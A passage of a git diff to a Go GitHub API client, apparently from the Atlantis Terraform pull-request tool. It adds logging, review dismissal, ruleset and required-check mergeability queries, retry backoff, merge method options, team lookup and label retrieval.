Show Output\n\n" + + "```diff\n" + + comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart, g.maxCommentsPerCommand, truncationHeader) + for i := range comments { + _, resp, err := g.client.Issues.CreateComment(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueComment{Body: &comments[i]}) + if resp != nil { + logger.Debug("POST /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) + } if err != nil { return err } @@ -162,18 +258,31 @@ func (g *GithubClient) CreateComment(repo models.Repo, pullNum int, comment stri return nil } -func (g *GithubClient) HidePrevPlanComments(repo models.Repo, pullNum int) error { +// ReactToComment adds a reaction to a comment. +func (g *GithubClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, _ int, commentID int64, reaction string) error { + logger.Debug("Adding reaction to GitHub pull request comment %d", commentID) + _, resp, err := g.client.Reactions.CreateIssueCommentReaction(g.ctx, repo.Owner, repo.Name, commentID, reaction) + if resp != nil { + logger.Debug("POST /repos/%v/%v/issues/comments/%d/reactions returned: %v", repo.Owner, repo.Name, commentID, resp.StatusCode) + } + return err +} + +func (g *GithubClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { + logger.Debug("Hiding previous command comments on GitHub pull request %d", pullNum) var allComments []*github.IssueComment nextPage := 0 for { - g.logger.Debug("GET /repos/%v/%v/issues/%d/comments", repo.Owner, repo.Name, pullNum) comments, resp, err := g.client.Issues.ListComments(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueListCommentsOptions{ - Sort: github.String("created"), - Direction: github.String("asc"), + Sort: github.Ptr("created"), + Direction: github.Ptr("asc"), ListOptions: github.ListOptions{Page: nextPage}, }) + if resp != nil { + logger.Debug("GET /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) + } if err != nil { - return err + return errors.Wrap(err, "listing comments") } allComments = append(allComments, comments...) if resp.NextPage == 0 { @@ -198,9 +307,15 @@ func (g *GithubClient) HidePrevPlanComments(repo models.Repo, pullNum int) error continue } firstLine := strings.ToLower(body[0]) - if !strings.Contains(firstLine, models.PlanCommand.String()) { + if !strings.Contains(firstLine, strings.ToLower(command)) { continue } + + // If dir was specified, skip processing comments that don't contain the dir in the first line + if dir != "" && !strings.Contains(firstLine, strings.ToLower(dir)) { + continue + } + var m struct { MinimizeComment struct { MinimizedComment struct { @@ -210,13 +325,12 @@ func (g *GithubClient) HidePrevPlanComments(repo models.Repo, pullNum int) error } } `graphql:"minimizeComment(input:$input)"` } - input := map[string]interface{}{ - "input": githubv4.MinimizeCommentInput{ - Classifier: githubv4.ReportedContentClassifiersOutdated, - SubjectID: comment.GetNodeID(), - }, + input := githubv4.MinimizeCommentInput{ + Classifier: githubv4.ReportedContentClassifiersOutdated, + SubjectID: comment.GetNodeID(), } - if err := g.v4MutateClient.Mutate(g.ctx, &m, input); err != nil { + logger.Debug("Hiding comment %s", comment.GetNodeID()) + if err := g.v4Client.Mutate(g.ctx, &m, input, nil); err != nil { return errors.Wrapf(err, "minimize comment %s", comment.GetNodeID()) } } @@ -224,8 +338,61 @@ func (g *GithubClient) HidePrevPlanComments(repo models.Repo, pullNum int) error return nil } +// getPRReviews Retrieves PR reviews for a pull request on a specific repository. +// The reviews are being retrieved using pages with the size of 10 reviews. +func (g *GithubClient) getPRReviews(repo models.Repo, pull models.PullRequest) (GithubPRReviewSummary, error) { + var query struct { + Repository struct { + PullRequest struct { + ReviewDecision githubv4.String + Reviews struct { + Nodes []GithubReview + // contains pagination information + PageInfo struct { + EndCursor githubv4.String + HasNextPage githubv4.Boolean + } + } `graphql:"reviews(first: $entries, after: $reviewCursor, states: $reviewState)"` + } `graphql:"pullRequest(number: $number)"` + } `graphql:"repository(owner: $owner, name: $name)"` + } + + variables := map[string]interface{}{ + "owner": githubv4.String(repo.Owner), + "name": githubv4.String(repo.Name), + "number": githubv4.Int(pull.Num), // #nosec G115: integer overflow conversion int -> int32 + "entries": githubv4.Int(10), + "reviewState": []githubv4.PullRequestReviewState{githubv4.PullRequestReviewStateApproved}, + "reviewCursor": (*githubv4.String)(nil), // initialize the reviewCursor with null + } + + var allReviews []GithubReview + for { + err := g.v4Client.Query(g.ctx, &query, variables) + if err != nil { + return GithubPRReviewSummary{ + query.Repository.PullRequest.ReviewDecision, + allReviews, + }, errors.Wrap(err, "getting reviewDecision") + } + + allReviews = append(allReviews, query.Repository.PullRequest.Reviews.Nodes...) + // if we don't have a NextPage pointer, we have requested all pages + if !query.Repository.PullRequest.Reviews.PageInfo.HasNextPage { + break + } + // set the end cursor, so the next batch of reviews is going to be requested and not the same again + variables["reviewCursor"] = githubv4.NewString(query.Repository.PullRequest.Reviews.PageInfo.EndCursor) + } + return GithubPRReviewSummary{ + query.Repository.PullRequest.ReviewDecision, + allReviews, + }, nil +} + // PullIsApproved returns true if the pull request was approved. -func (g *GithubClient) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { +func (g *GithubClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { + logger.Debug("Checking if GitHub pull request %d is approved", pull.Num) nextPage := 0 for { opts := github.ListOptions{ @@ -234,14 +401,20 @@ func (g *GithubClient) PullIsApproved(repo models.Repo, pull models.PullRequest) if nextPage != 0 { opts.Page = nextPage } - g.logger.Debug("GET /repos/%v/%v/pulls/%d/reviews", repo.Owner, repo.Name, pull.Num) pageReviews, resp, err := g.client.PullRequests.ListReviews(g.ctx, repo.Owner, repo.Name, pull.Num, &opts) + if resp != nil { + logger.Debug("GET /repos/%v/%v/pulls/%d/reviews returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) + } if err != nil { - return false, errors.Wrap(err, "getting reviews") + return approvalStatus, errors.Wrap(err, "getting reviews") } for _, review := range pageReviews { if review != nil && review.GetState() == "APPROVED" { - return true, nil + return models.ApprovalStatus{ + IsApproved: true, + ApprovedBy: *review.User.Login, + Date: review.SubmittedAt.Time, + }, nil } } if resp.NextPage == 0 { @@ -249,16 +422,430 @@ func (g *GithubClient) PullIsApproved(repo models.Repo, pull models.PullRequest) } nextPage = resp.NextPage } + return approvalStatus, nil +} + +// DiscardReviews dismisses all reviews on a pull request +func (g *GithubClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + logger.Debug("Discarding all reviews on GitHub pull request %d", pull.Num) + reviewStatus, err := g.getPRReviews(repo, pull) + if err != nil { + return err + } + + // https://docs.github.com/en/graphql/reference/input-objects#dismisspullrequestreviewinput + var mutation struct { + DismissPullRequestReview struct { + PullRequestReview struct { + ID githubv4.ID + } + } `graphql:"dismissPullRequestReview(input: $input)"` + } + + // dismiss every review one by one. + // currently there is no way to dismiss them in one mutation. + for _, review := range reviewStatus.Reviews { + input := githubv4.DismissPullRequestReviewInput{ + PullRequestReviewID: review.ID, + Message: pullRequestDismissalMessage, + ClientMutationID: clientMutationID, + } + mutationResult := &mutation + err := g.v4Client.Mutate(g.ctx, mutationResult, input, nil) + if err != nil { + return errors.Wrap(err, "dismissing reviewDecision") + } + } + return nil +} + +type PageInfo struct { + EndCursor *githubv4.String + HasNextPage githubv4.Boolean +} + +type WorkflowFileReference struct { + Path githubv4.String + RepositoryId githubv4.Int + Sha *githubv4.String +} + +func (original WorkflowFileReference) Copy() WorkflowFileReference { + copy := WorkflowFileReference{ + Path: original.Path, + RepositoryId: original.RepositoryId, + Sha: new(githubv4.String), + } + if original.Sha != nil { + *copy.Sha = *original.Sha + } + return copy +} + +type WorkflowRun struct { + File struct { + Path githubv4.String + RepositoryFileUrl githubv4.String + RepositoryName githubv4.String + } + RunNumber githubv4.Int +} + +type CheckRun struct { + Name githubv4.String + Conclusion githubv4.String + // Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced! + IsRequired githubv4.Boolean `graphql:"isRequired(pullRequestNumber: $number)"` + CheckSuite struct { + WorkflowRun *WorkflowRun + } +} + +func (original CheckRun) Copy() CheckRun { + copy := CheckRun{ + Name: original.Name, + Conclusion: original.Conclusion, + IsRequired: original.IsRequired, + CheckSuite: original.CheckSuite, + } + if original.CheckSuite.WorkflowRun != nil { + copy.CheckSuite.WorkflowRun = new(WorkflowRun) + *copy.CheckSuite.WorkflowRun = *original.CheckSuite.WorkflowRun + } + return copy +} + +type StatusContext struct { + Context githubv4.String + State githubv4.String + // Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced! + IsRequired githubv4.Boolean `graphql:"isRequired(pullRequestNumber: $number)"` +} + +func (g *GithubClient) LookupRepoId(repo githubv4.String) (githubv4.Int, error) { + // This function may get many calls for the same repo, and repo names are not often changed + // Utilize caching to reduce the number of API calls to GitHub + if repoId, ok := g.repoIdCache.Get(repo); ok { + return repoId, nil + } + + repoSplit := strings.Split(string(repo), "/") + if len(repoSplit) != 2 { + return githubv4.Int(0), fmt.Errorf("invalid repository name: %s", repo) + } + + var query struct { + Repository struct { + DatabaseId githubv4.Int + } `graphql:"repository(owner: $owner, name: $name)"` + } + variables := map[string]interface{}{ + "owner": githubv4.String(repoSplit[0]), + "name": githubv4.String(repoSplit[1]), + } + + err := g.v4Client.Query(g.ctx, &query, variables) + + if err != nil { + return githubv4.Int(0), errors.Wrap(err, "getting repository id from GraphQL") + } + + g.repoIdCache.Set(repo, query.Repository.DatabaseId) + + return query.Repository.DatabaseId, nil +} + +func (g *GithubClient) WorkflowRunMatchesWorkflowFileReference(workflowRun WorkflowRun, workflowFileReference WorkflowFileReference) (bool, error) { + // Unfortunately, the GitHub API doesn't expose the repositoryId for the WorkflowRunFile from the statusCheckRollup. + // Conversely, it doesn't expose the repository name for the WorkflowFileReference from the RepositoryRuleConnection. + // Therefore, a second query is required to lookup the association between repositoryId and repositoryName. + repoId, err := g.LookupRepoId(workflowRun.File.RepositoryName) + if err != nil { + return false, err + } + + if !(repoId == workflowFileReference.RepositoryId && workflowRun.File.Path == workflowFileReference.Path) { + return false, nil + } else if workflowFileReference.Sha != nil { + return strings.Contains(string(workflowRun.File.RepositoryFileUrl), string(*workflowFileReference.Sha)), nil + } else { + return true, nil + } +} + +func (g *GithubClient) GetPullRequestMergeabilityInfo( + repo models.Repo, + pull *github.PullRequest, +) ( + reviewDecision githubv4.String, + requiredChecks []githubv4.String, + requiredWorkflows []WorkflowFileReference, + checkRuns []CheckRun, + statusContexts []StatusContext, + err error, +) { + var query struct { + Repository struct { + PullRequest struct { + ReviewDecision githubv4.String + BaseRef struct { + BranchProtectionRule struct { + RequiredStatusChecks []struct { + Context githubv4.String + } + } + Rules struct { + PageInfo PageInfo + Nodes []struct { + Type githubv4.String + RepositoryRuleset struct { + Enforcement githubv4.String + } + Parameters struct { + RequiredStatusChecksParameters struct { + RequiredStatusChecks []struct { + Context githubv4.String + } + } `graphql:"... on RequiredStatusChecksParameters"` + WorkflowsParameters struct { + Workflows []WorkflowFileReference + } `graphql:"... on WorkflowsParameters"` + } + } + } `graphql:"rules(first: 100, after: $ruleCursor)"` + } + Commits struct { + Nodes []struct { + Commit struct { + StatusCheckRollup struct { + Contexts struct { + PageInfo PageInfo + Nodes []struct { + Typename githubv4.String `graphql:"__typename"` + CheckRun CheckRun `graphql:"... on CheckRun"` + StatusContext StatusContext `graphql:"... on StatusContext"` + } + } `graphql:"contexts(first: 100, after: $contextCursor)"` + } + } + } + } `graphql:"commits(last: 1)"` + } `graphql:"pullRequest(number: $number)"` + } `graphql:"repository(owner: $owner, name: $name)"` + } + + variables := map[string]interface{}{ + "owner": githubv4.String(repo.Owner), + "name": githubv4.String(repo.Name), + "number": githubv4.Int(*pull.Number), // #nosec G115: integer overflow conversion int -> int32 + "ruleCursor": (*githubv4.String)(nil), + "contextCursor": (*githubv4.String)(nil), + } + + requiredChecksSet := make(map[githubv4.String]any) + +pagination: + for { + err = g.v4Client.Query(g.ctx, &query, variables) + + if err != nil { + break pagination + } + + reviewDecision = query.Repository.PullRequest.ReviewDecision + + for _, rule := range query.Repository.PullRequest.BaseRef.BranchProtectionRule.RequiredStatusChecks { + requiredChecksSet[rule.Context] = struct{}{} + } + + for _, rule := range query.Repository.PullRequest.BaseRef.Rules.Nodes { + if rule.RepositoryRuleset.Enforcement != "ACTIVE" { + continue + } + switch rule.Type { + case "REQUIRED_STATUS_CHECKS": + for _, context := range rule.Parameters.RequiredStatusChecksParameters.RequiredStatusChecks { + requiredChecksSet[context.Context] = struct{}{} + } + case "WORKFLOWS": + for _, workflow := range rule.Parameters.WorkflowsParameters.Workflows { + requiredWorkflows = append(requiredWorkflows, workflow.Copy()) + } + default: + continue + } + } + + if len(query.Repository.PullRequest.Commits.Nodes) == 0 { + err = errors.New("no commits found on PR") + break pagination + } + + for _, context := range query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.Nodes { + switch context.Typename { + case "CheckRun": + checkRuns = append(checkRuns, context.CheckRun.Copy()) + case "StatusContext": + statusContexts = append(statusContexts, context.StatusContext) + default: + err = fmt.Errorf("unknown type of status check, %q", context.Typename) + break pagination + } + } + + if !query.Repository.PullRequest.BaseRef.Rules.PageInfo.HasNextPage && + !query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.HasNextPage { + break pagination + } + + if query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor != nil { + variables["ruleCursor"] = query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor + } + if query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor != nil { + variables["contextCursor"] = query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor + } + } + + if err != nil { + return "", nil, nil, nil, nil, errors.Wrap(err, "fetching rulesets, branch protections and status checks from GraphQL") + } + + for context := range requiredChecksSet { + requiredChecks = append(requiredChecks, context) + } + + return reviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, nil +} + +func CheckRunPassed(checkRun CheckRun) bool { + return checkRun.Conclusion == "SUCCESS" || checkRun.Conclusion == "SKIPPED" || checkRun.Conclusion == "NEUTRAL" +} + +func StatusContextPassed(statusContext StatusContext, vcsstatusname string) bool { + return statusContext.State == "SUCCESS" +} + +func ExpectedCheckPassed(expectedContext githubv4.String, checkRuns []CheckRun, statusContexts []StatusContext, vcsstatusname string) bool { + // If there's no WorkflowRun, we assume there's only one CheckRun with the given name. + // In this case, we evaluate and return the status of this CheckRun. + // If there is WorkflowRun, we assume there can be multiple checkRuns with the given name, + // so we retrieve the latest checkRun and evaluate and return the status of the latest CheckRun. + latestCheckRunNumber := githubv4.Int(-1) + var latestCheckRun *CheckRun + for _, checkRun := range checkRuns { + if checkRun.Name != expectedContext { + continue + } + if checkRun.CheckSuite.WorkflowRun == nil { + return CheckRunPassed(checkRun) + } + if checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckRunNumber { + latestCheckRunNumber = checkRun.CheckSuite.WorkflowRun.RunNumber + latestCheckRun = &checkRun + } + } + + if latestCheckRun != nil { + return CheckRunPassed(*latestCheckRun) + } + + for _, statusContext := range statusContexts { + if statusContext.Context == expectedContext { + return StatusContextPassed(statusContext, vcsstatusname) + } + } + + return false +} + +func (g *GithubClient) ExpectedWorkflowPassed(expectedWorkflow WorkflowFileReference, checkRuns []CheckRun) (bool, error) { + // If there's no WorkflowRun, we just skip evaluation for given CheckRun. + // If there is WorkflowRun, we assume there can be multiple checkRuns with the given name, + // so we retrieve the latest checkRun and evaluate and return the status of the latest CheckRun. + latestCheckRunNumber := githubv4.Int(-1) + var latestCheckRun *CheckRun + for _, checkRun := range checkRuns { + if checkRun.CheckSuite.WorkflowRun == nil { + continue + } + match, err := g.WorkflowRunMatchesWorkflowFileReference(*checkRun.CheckSuite.WorkflowRun, expectedWorkflow) + if err != nil { + return false, err + } + if match { + if checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckRunNumber { + latestCheckRunNumber = checkRun.CheckSuite.WorkflowRun.RunNumber + latestCheckRun = &checkRun + } + } + } + + if latestCheckRun != nil { + return CheckRunPassed(*latestCheckRun), nil + } + return false, nil } +// IsMergeableMinusApply checks review decision (which takes into account CODEOWNERS) and required checks for PR (excluding the atlantis apply check). +func (g *GithubClient) IsMergeableMinusApply(logger logging.SimpleLogging, repo models.Repo, pull *github.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { + if pull.Number == nil { + return false, errors.New("pull request number is nil") + } + reviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, err := g.GetPullRequestMergeabilityInfo(repo, pull) + if err != nil { + return false, err + } + + notMergeablePrefix := fmt.Sprintf("Pull Request %s/%s:%s is not mergeable", repo.Owner, repo.Name, strconv.Itoa(*pull.Number)) + + // Review decision takes CODEOWNERS into account + // Empty review decision means review is not required + if reviewDecision != "APPROVED" && len(reviewDecision) != 0 { + logger.Debug("%s: Review Decision: %s", notMergeablePrefix, reviewDecision) + return false, nil + } + + // The statusCheckRollup does not always contain all required checks + // For example, if a check was made required after the pull request was opened, it would be missing + // Go through all checks and workflows required by branch protection or rulesets + // Make sure that they can all be found in the statusCheckRollup and that they all pass + for _, requiredCheck := range requiredChecks { + if strings.HasPrefix(string(requiredCheck), fmt.Sprintf("%s/%s", vcsstatusname, command.Apply.String())) { + // Ignore atlantis apply check(s) + continue + } + if !slices.Contains(ignoreVCSStatusNames, GetVCSStatusNameFromRequiredCheck(requiredCheck)) && !ExpectedCheckPassed(requiredCheck, checkRuns, statusContexts, vcsstatusname) { + logger.Debug("%s: Expected Required Check: %s VCS Status Name: %s Ignore VCS Status Names: %s", notMergeablePrefix, requiredCheck, vcsstatusname, ignoreVCSStatusNames) + return false, nil + } + } + for _, requiredWorkflow := range requiredWorkflows { + passed, err := g.ExpectedWorkflowPassed(requiredWorkflow, checkRuns) + if err != nil { + return false, err + } + if !passed { + logger.Debug("%s: Expected Required Workflow: RepositoryId: %d Path: %s", notMergeablePrefix, requiredWorkflow.RepositoryId, requiredWorkflow.Path) + return false, nil + } + } + + return true, nil +} + +func GetVCSStatusNameFromRequiredCheck(requiredCheck githubv4.String) string { + return strings.Split(string(requiredCheck), "/")[0] +} + // PullIsMergeable returns true if the pull request is mergeable. -func (g *GithubClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { - githubPR, err := g.GetPullRequest(repo, pull.Num) +func (g *GithubClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { + logger.Debug("Checking if GitHub pull request %d is mergeable", pull.Num) + githubPR, err := g.GetPullRequest(logger, repo, pull.Num) if err != nil { return false, errors.Wrap(err, "getting pull request") } - state := githubPR.GetMergeableState() + // We map our mergeable check to when the GitHub merge button is clickable. // This corresponds to the following states: // clean: No conflicts, all requirements satisfied. @@ -268,24 +855,44 @@ func (g *GithubClient) PullIsMergeable(repo models.Repo, pull models.PullRequest // has_hooks: GitHub Enterprise only, if a repo has custom pre-receive // hooks. Merging is allowed (green box). // See: https://github.com/octokit/octokit.net/issues/1763 - if state != "clean" && state != "unstable" && state != "has_hooks" { + switch githubPR.GetMergeableState() { + case "clean", "unstable", "has_hooks": + return true, nil + case "blocked": + if g.config.AllowMergeableBypassApply { + logger.Debug("AllowMergeableBypassApply feature flag is enabled - attempting to bypass apply from mergeable requirements") + isMergeableMinusApply, err := g.IsMergeableMinusApply(logger, repo, githubPR, vcsstatusname, ignoreVCSStatusNames) + if err != nil { + return false, errors.Wrap(err, "getting pull request status") + } + return isMergeableMinusApply, nil + } + return false, nil + default: return false, nil } - return true, nil } // GetPullRequest returns the pull request. -func (g *GithubClient) GetPullRequest(repo models.Repo, num int) (*github.PullRequest, error) { +func (g *GithubClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*github.PullRequest, error) { + logger.Debug("Getting GitHub pull request %d", num) var err error var pull *github.PullRequest // GitHub has started to return 404's here (#1019) even after they send the webhook. // They've got some eventual consistency issues going on so we're just going - // to retry up to 3 times with a 1s sleep. - numRetries := 3 - retryDelay := 1 * time.Second - for i := 0; i < numRetries; i++ { - pull, _, err = g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, num) + // to attempt up to 5 times with exponential backoff. + maxAttempts := 5 + attemptDelay := 0 * time.Second + for i := 0; i < maxAttempts; i++ { + // First don't sleep, then sleep 1, 3, 7, etc. + time.Sleep(attemptDelay) + attemptDelay = 2*attemptDelay + 1*time.Second + + pull, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, num) + if resp != nil { + logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, num, resp.StatusCode) + } if err == nil { return pull, nil } @@ -293,14 +900,13 @@ func (g *GithubClient) GetPullRequest(repo models.Repo, num int) (*github.PullRe if !ok || ghErr.Response.StatusCode != 404 { return pull, err } - time.Sleep(retryDelay) } return pull, err } // UpdateStatus updates the status badge on the pull request. // See https://github.com/blog/1227-commit-status-api. -func (g *GithubClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { +func (g *GithubClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { ghState := "error" switch state { case models.PendingCommitStatus: @@ -311,36 +917,69 @@ func (g *GithubClient) UpdateStatus(repo models.Repo, pull models.PullRequest, s ghState = "failure" } + logger.Info("Updating GitHub Check status for '%s' to '%s'", src, ghState) + status := &github.RepoStatus{ - State: github.String(ghState), - Description: github.String(description), - Context: github.String(src), + State: github.Ptr(ghState), + Description: github.Ptr(description), + Context: github.Ptr(src), TargetURL: &url, } - _, _, err := g.client.Repositories.CreateStatus(g.ctx, repo.Owner, repo.Name, pull.HeadCommit, status) + _, resp, err := g.client.Repositories.CreateStatus(g.ctx, repo.Owner, repo.Name, pull.HeadCommit, status) + if resp != nil { + logger.Debug("POST /repos/%v/%v/statuses/%s returned: %v", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode) + } return err } // MergePull merges the pull request. -func (g *GithubClient) MergePull(pull models.PullRequest) error { +func (g *GithubClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + logger.Debug("Merging GitHub pull request %d", pull.Num) // Users can set their repo to disallow certain types of merging. // We detect which types aren't allowed and use the type that is. - g.logger.Debug("GET /repos/%v/%v", pull.BaseRepo.Owner, pull.BaseRepo.Name) - repo, _, err := g.client.Repositories.Get(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name) + repo, resp, err := g.client.Repositories.Get(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name) + if resp != nil { + logger.Debug("GET /repos/%v/%v returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, resp.StatusCode) + } if err != nil { return errors.Wrap(err, "fetching repo info") } + const ( defaultMergeMethod = "merge" rebaseMergeMethod = "rebase" squashMergeMethod = "squash" ) - method := defaultMergeMethod - if !repo.GetAllowMergeCommit() { - if repo.GetAllowRebaseMerge() { - method = rebaseMergeMethod - } else if repo.GetAllowSquashMerge() { - method = squashMergeMethod + + mergeMethodsAllow := map[string]func() bool{ + defaultMergeMethod: repo.GetAllowMergeCommit, + rebaseMergeMethod: repo.GetAllowRebaseMerge, + squashMergeMethod: repo.GetAllowSquashMerge, + } + + mergeMethodsName := slices.Collect(maps.Keys(mergeMethodsAllow)) + sort.Strings(mergeMethodsName) + + var method string + if pullOptions.MergeMethod != "" { + method = pullOptions.MergeMethod + + isMethodAllowed, isMethodExist := mergeMethodsAllow[method] + if !isMethodExist { + return fmt.Errorf("Merge method '%s' is unknown. Specify one of the valid values: '%s'", method, strings.Join(mergeMethodsName, ", ")) + } + + if !isMethodAllowed() { + return fmt.Errorf("Merge method '%s' is not allowed by the repository Pull Request settings", method) + } + } else { + method = defaultMergeMethod + if !repo.GetAllowMergeCommit() { + if repo.GetAllowRebaseMerge() { + method = rebaseMergeMethod + } else if repo.GetAllowSquashMerge() { + method = squashMergeMethod + } } } @@ -348,16 +987,19 @@ func (g *GithubClient) MergePull(pull models.PullRequest) error { options := &github.PullRequestOptions{ MergeMethod: method, } - g.logger.Debug("PUT /repos/%v/%v/pulls/%d/merge", repo.Owner, repo.Name, pull.Num) - mergeResult, _, err := g.client.PullRequests.Merge( + logger.Debug("PUT /repos/%v/%v/pulls/%d/merge", repo.Owner, repo.Name, pull.Num) + mergeResult, resp, err := g.client.PullRequests.Merge( g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.Num, - // NOTE: Using the emtpy string here causes GitHub to autogenerate + // NOTE: Using the empty string here causes GitHub to autogenerate // the commit message as it normally would. "", options) + if resp != nil { + logger.Debug("POST /repos/%v/%v/pulls/%d/merge returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) + } if err != nil { return errors.Wrap(err, "merging pull request") } @@ -372,10 +1014,58 @@ func (g *GithubClient) MarkdownPullLink(pull models.PullRequest) (string, error) return fmt.Sprintf("#%d", pull.Num), nil } +// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). +// https://docs.github.com/en/graphql/reference/objects#organization +func (g *GithubClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { + logger.Debug("Getting GitHub team names for user '%s'", user) + orgName := repo.Owner + variables := map[string]interface{}{ + "orgName": githubv4.String(orgName), + "userLogins": []githubv4.String{githubv4.String(user.Username)}, + "teamCursor": (*githubv4.String)(nil), + } + var q struct { + Organization struct { + Teams struct { + Edges []struct { + Node struct { + Name string + Slug string + } + } + PageInfo struct { + EndCursor githubv4.String + HasNextPage bool + } + } `graphql:"teams(first:100, after: $teamCursor, userLogins: $userLogins)"` + } `graphql:"organization(login: $orgName)"` + } + var teamNames []string + ctx := context.Background() + for { + err := g.v4Client.Query(ctx, &q, variables) + if err != nil { + return nil, err + } + for _, edge := range q.Organization.Teams.Edges { + teamNames = append(teamNames, edge.Node.Slug) + } + if !q.Organization.Teams.PageInfo.HasNextPage { + break + } + variables["teamCursor"] = githubv4.NewString(q.Organization.Teams.PageInfo.EndCursor) + } + return teamNames, nil +} + // ExchangeCode returns a newly created app's info -func (g *GithubClient) ExchangeCode(code string) (*GithubAppTemporarySecrets, error) { +func (g *GithubClient) ExchangeCode(logger logging.SimpleLogging, code string) (*GithubAppTemporarySecrets, error) { + logger.Debug("Exchanging code for app secrets") ctx := context.Background() - cfg, _, err := g.client.Apps.CompleteAppManifest(ctx, code) + cfg, resp, err := g.client.Apps.CompleteAppManifest(ctx, code) + if resp != nil { + logger.Debug("POST /app-manifests/%s/conversions returned: %v", code, resp.StatusCode) + } data := &GithubAppTemporarySecrets{ ID: cfg.GetID(), Key: cfg.GetPEM(), @@ -387,12 +1077,16 @@ func (g *GithubClient) ExchangeCode(code string) (*GithubAppTemporarySecrets, er return data, err } -// DownloadRepoConfigFile return `atlantis.yaml` content from VCS (which support fetch a single file from repository) -// The first return value indicate that repo contain atlantis.yaml or not -// if BaseRepo had one repo config file, its content will placed on the second return value -func (g *GithubClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { +// GetFileContent a repository file content from VCS (which support fetch a single file from repository) +// The first return value indicates whether the repo contains a file or not +// if BaseRepo had a file, its content will placed on the second return value +func (g *GithubClient) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { + logger.Debug("Getting file content for %s in GitHub pull request %d", fileName, pull.Num) opt := github.RepositoryContentGetOptions{Ref: pull.HeadBranch} - fileContent, _, resp, err := g.client.Repositories.GetContents(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name, yaml.AtlantisYAMLFilename, &opt) + fileContent, _, resp, err := g.client.Repositories.GetContents(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name, fileName, &opt) + if resp != nil { + logger.Debug("GET /repos/%v/%v/contents/%s returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, fileName, resp.StatusCode) + } if resp.StatusCode == http.StatusNotFound { return false, []byte{}, nil @@ -409,6 +1103,38 @@ func (g *GithubClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, [] return true, decodedData, nil } -func (g *GithubClient) SupportsSingleFileDownload(repo models.Repo) bool { +func (g *GithubClient) SupportsSingleFileDownload(_ models.Repo) bool { return true } + +func (g *GithubClient) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { + logger.Debug("Getting clone URL for %s", repo) + parts := strings.Split(repo, "/") + repository, resp, err := g.client.Repositories.Get(g.ctx, parts[0], parts[1]) + if resp != nil { + logger.Debug("GET /repos/%v/%v returned: %v", parts[0], parts[1], resp.StatusCode) + } + if err != nil { + return "", err + } + return repository.GetCloneURL(), nil +} + +func (g *GithubClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting labels for GitHub pull request %d", pull.Num) + pullDetails, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, pull.Num) + if resp != nil { + logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) + } + if err != nil { + return nil, err + } + + var labels []string + + for _, label := range pullDetails.Labels { + labels = append(labels, *label.Name) + } + + return labels, nil +} diff --git a/server/events/vcs/github_client_internal_test.go b/server/events/vcs/github_client_internal_test.go index 81b0185ace..63f7a73e6b 100644 --- a/server/events/vcs/github_client_internal_test.go +++ b/server/events/vcs/github_client_internal_test.go @@ -16,19 +16,20 @@ package vcs import ( 